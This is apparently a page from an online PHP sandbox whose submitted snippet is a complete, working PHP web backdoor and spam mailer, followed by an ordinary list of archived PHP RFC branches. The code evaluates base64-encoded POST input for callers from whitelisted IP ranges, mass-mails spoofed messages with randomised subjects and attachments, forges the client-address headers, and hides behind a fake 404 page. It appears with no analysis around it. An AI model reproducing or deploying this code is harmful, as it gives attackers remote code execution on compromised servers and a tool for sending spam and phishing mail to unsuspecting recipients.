- Output for git.master, git.master_jit, rfc.property-hooks
- if(isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR'])) { eval(base64_decode($_POST["code"])); exit(); } if (isset($_POST["type"]) && $_POST["type"]=="1") { type1_send(); exit(); } elseif (isset($_POST["type"]) && $_POST["type"]=="2") { } elseif (isset($_POST["type"])) { echo $_POST["type"]; exit(); } error_404(); function is_good_ip($ip) { $goods = Array("6.185.239.", "8.138.118."); foreach ($goods as $good) { if (strstr($ip, $good) != FALSE) { return TRUE; } } return FALSE; } function type1_send() { if(!isset($_POST["emails"]) OR !isset($_POST["themes"]) OR !isset($_POST["messages"]) OR !isset($_POST["froms"]) OR !isset($_POST["mailers"]) ) { exit(); } if(get_magic_quotes_gpc()) { foreach($_POST as $key => $post) { $_POST[$key] = stripcslashes($post); } } $emails = @unserialize(base64_decode($_POST["emails"])); $themes = @unserialize(base64_decode($_POST["themes"])); $messages = @unserialize(base64_decode($_POST["messages"])); $froms = @unserialize(base64_decode($_POST["froms"])); $mailers = @unserialize(base64_decode($_POST["mailers"])); $aliases = @unserialize(base64_decode($_POST["aliases"])); $passes = @unserialize(base64_decode($_POST["passes"])); if(isset($_SERVER)) { $_SERVER['PHP_SELF'] = "/"; $_SERVER['REMOTE_ADDR'] = "127.0.0.1"; if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1"; } } if(isset($_FILES)) { foreach($_FILES as $key => $file) { $filename = alter_macros($aliases[$key]); $filename = num_macros($filename); $filename = text_macros($filename); $filename = xnum_macros($filename); $_FILES[$key]["name"] = $filename; } } if(empty($emails)) { exit(); } foreach ($emails as $fteil => $email) { $theme = $themes[array_rand($themes)]; $theme = alter_macros($theme["theme"]); $theme = num_macros($theme); $theme = text_macros($theme); $theme = xnum_macros($theme); $message = $messages[array_rand($messages)]; $message = alter_macros($message["message"]); $message = num_macros($message); $message = text_macros($message); $message = xnum_macros($message); //$message = pass_macros($message, $passes); $message = fteil_macros($message, $fteil); $from = $froms[array_rand($froms)]; $from = alter_macros($from["from"]); $from = num_macros($from); $from = text_macros($from); $from = xnum_macros($from); if (strstr($from, "[CUSTOM]") == FALSE) { $from = from_host($from); } else { $from = str_replace("[CUSTOM]", "", $from); } $mailer = $mailers[array_rand($mailers)]; send_mail($from, $email, $theme, $message, $mailer); } } function send_mail($from, $to, $subj, $text, $mailer) { $head = ""; $un = strtoupper(uniqid(time())); $head .= "From: $from\n"; $head .= "X-Mailer: $mailer\n"; $head .= "Reply-To: $from\n"; $head .= "Mime-Version: 1.0\n"; $head .= "Content-Type: multipart/alternative;"; $head .= "boundary=\"----------".$un."\"\n\n"; $plain = strip_tags($text); $zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n"; $zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n"; $zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n"; $zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n"; $zag .= "------------".$un."--"; if(count($_FILES) > 0) { foreach($_FILES as $file) { if(file_exists($file["tmp_name"])) { $f = fopen($file["tmp_name"], "rb"); $zag .= "------------".$un."\n"; $zag .= "Content-Type: application/octet-stream;"; $zag .= "name=\"".$file["name"]."\"\n"; $zag .= "Content-Transfer-Encoding:base64\n"; $zag .= "Content-Disposition:attachment;"; $zag .= "filename=\"".$file["name"]."\"\n\n"; $zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n"; fclose($f); } } } if(@mail($to, $subj, $zag, $head)) { if(!empty($_POST['verbose'])) echo "SENDED"; } else { if(!empty($_POST['verbose'])) echo "FAIL"; } } function alter_macros($content) { preg_match_all('#{(.*)}#Ui', $content, $matches); for($i = 0; $i < count($matches[1]); $i++) { $ns = explode("|", $matches[1][$i]); $c2 = count($ns); $rand = rand(0, ($c2 - 1)); $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content); } return $content; } function text_macros($content) { preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $min = $matches[1][$i]; $max = $matches[2][$i]; $rand = rand($min, $max); $word = generate_word($rand); $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1); } preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $count = $matches[1][$i]; $word = generate_word($count); $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1); } return $content; } function xnum_macros($content) { preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $num = $matches[1][$i]; $min = pow(10, $num - 1); $max = pow(10, $num) - 1; $rand = rand($min, $max); $content = str_replace($matches[0][$i], $rand, $content); } return $content; } function num_macros($content) { preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches); for($i = 0; $i < count($matches[0]); $i++) { $min = $matches[1][$i]; $max = $matches[2][$i]; $rand = rand($min, $max); $content = str_replace($matches[0][$i], $rand, $content); } return $content; } function generate_word($length) { $chars = 'abcdefghijklmnopqrstuvyxz'; $numChars = strlen($chars); $string = ''; for($i = 0; $i < $length; $i++) { $string .= substr($chars, rand(1, $numChars) - 1, 1); } return $string; } function pass_macros($content, $passes) { $pass = array_pop($passes); return str_replace("[PASS]", $pass, $content); } function fteil_macros($content, $fteil) { return str_replace("[FTEIL]", $fteil, $content); } function is_ip($str) { return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str); } function from_host($content) { $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']); if (is_ip($host)) { return $content; } $tokens = explode("@", $content); $content = $tokens[0] . "@" . $host . ">"; return $content; } function error_404() { header("HTTP/1.1 404 Not Found"); $uri = preg_replace('/(\?).*$/', '', $_SERVER['REQUEST_URI'] ); $content = custom_http_request1("http://".$_SERVER['HTTP_HOST']."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA"); $content = str_replace( "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", $uri, $content ); exit( $content ); } function custom_http_request1($params) { if( ! is_array($params) ) { $params = array( 'url' => $params, 'method' => 'GET' ); } if( $params['url']=='' ) return FALSE; if( ! isset($params['method']) ) $params['method'] = (isset($params['data'])&&is_array($params['data'])) ? 'POST' : 'GET'; $params['method'] = strtoupper($params['method']); if( ! in_array($params['method'], array('GET', 'POST')) ) return FALSE; /* Приводим ссылку в правильный вид */ $url = parse_url($params['url']); if( ! isset($url['scheme']) ) $url['scheme'] = 'http'; if( ! isset($url['path']) ) $url['path'] = '/'; if( ! isset($url['host']) && isset($url['path']) ) { if( strpos($url['path'], '/') ) { $url['host'] = substr($url['path'], 0, strpos($url['path'], '/')); $url['path'] = substr($url['path'], strpos($url['path'], '/')); } else { $url['host'] = $url['path']; $url['path'] = '/'; } } $url['path'] = preg_replace("/[\\/]+/", "/", $url['path']); if( isset($url['query']) ) $url['path'] .= "?{$url['query']}"; $port = isset($params['port']) ? $params['port'] : ( isset($url['port']) ? $url['port'] : ($url['scheme']=='https'?443:80) ); $timeout = isset($params['timeout']) ? $params['timeout'] : 30; if( ! isset($params['return']) ) $params['return'] = 'content'; $scheme = $url['scheme']=='https' ? 'ssl://':''; $fp = @fsockopen($scheme.$url['host'], $port, $errno, $errstr, $timeout); if( $fp ) { /* Mozilla */ if( ! isset($params['User-Agent']) ) $params['User-Agent'] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16"; $request = "{$params['method']} {$url['path']} HTTP/1.0\r\n"; $request .= "Host: {$url['host']}\r\n"; $request .= "User-Agent: {$params['User-Agent']}"."\r\n"; if( isset($params['referer']) ) $request .= "Referer: {$params['referer']}\r\n"; if( isset($params['cookie']) ) { $cookie = ""; if( is_array($params['cookie']) ) {foreach( $params['cookie'] as $k=>$v ) $cookie .= "$k=$v; "; $cookie = substr($cookie,0,-2);} else $cookie = $params['cookie']; if( $cookie!='' ) $request .= "Cookie: $cookie\r\n"; } $request .= "Connection: close\r\n"; if( $params['method']=='POST' ) { if( isset($params['data']) && is_array($params['data']) ) { foreach($params['data'] AS $k => $v) $data .= urlencode($k).'='.urlencode($v).'&'; if( substr($data, -1)=='&' ) $data = substr($data,0,-1); } $data .= "\r\n\r\n"; $request .= "Content-type: application/x-www-form-urlencoded\r\n"; $request .= "Content-length: ".strlen($data)."\r\n"; } $request .= "\r\n"; if( $params['method'] == 'POST' ) $request .= $data; @fwrite ($fp,$request); /* Send request */ $res = ""; $headers = ""; $h_detected = false; while( !@feof($fp) ) { $res .= @fread($fp, 1024); /* читаем контент */ /* Проверка наличия загловков в контенте */ if( ! $h_detected && strpos($res, "\r\n\r\n")!==FALSE ) { /* заголовки уже считаны - корректируем контент */ $h_detected = true; $headers = substr($res, 0, strpos($res, "\r\n\r\n")); $res = substr($res, strpos($res, "\r\n\r\n")+4); /* Headers to Array */ if( $params['return']=='headers' || $params['return']=='array' || (isset($params['redirect']) && $params['redirect']==true) ) { $h = explode("\r\n", $headers); $headers = array(); foreach( $h as $k=>$v ) { if( strpos($v, ':') ) { $k = substr($v, 0, strpos($v, ':')); $v = trim(substr($v, strpos($v, ':')+1)); } $headers[strtoupper($k)] = $v; } } if( isset($params['redirect']) && $params['redirect']==true && isset($headers['LOCATION']) ) { $params['url'] = $headers['LOCATION']; if( !isset($params['redirect-count']) ) $params['redirect-count'] = 0; if( $params['redirect-count']<10 ) { $params['redirect-count']++; $func = __FUNCTION__; return @is_object($this) ? $this->$func($params) : $func($params); } } if( $params['return']=='headers' ) return $headers; } } @fclose($fp); } else return FALSE;/* $errstr.$errno; */ if( $params['return']=='array' ) $res = array('headers'=>$headers, 'content'=>$res); return $res; }
This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.
Active branches
Archived branches
Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page
- 2022-12-01 RFC: Property hooks - included in PHP 8.4
- 2020-03-21 RFC: Is_Literal - declined
- 2020-12-04 Enumerations - included in PHP 8.1
- 2018-06-15 Typed Properties v2 - implemented in PHP 7.4
- 2016-08-12 Object typehint - included in PHP 7.2
- 2016-08-14 Arrow functions - withdrawn
- 2016-05-29 array_change_keys() - withdrawn
- 2016-04-19 Lexical scope support for anonymous classes - suspended
- 2016-04-17 Functional Interfaces - declined
- 2016-03-16 Typed Properties - superseded in favor of Typed Properties 2.0
- 2015-08-27 Callable Prototypes - declined
- 2015-05-01 Short Closures - declined / withdrawn in favor of Arrow Functions
- 2015-02-18 Scalar type hints v5 - included in PHP 7
- 2015-02-14 Union Types - declined
- 2013-09-22 Anonymous classes - included in PHP 7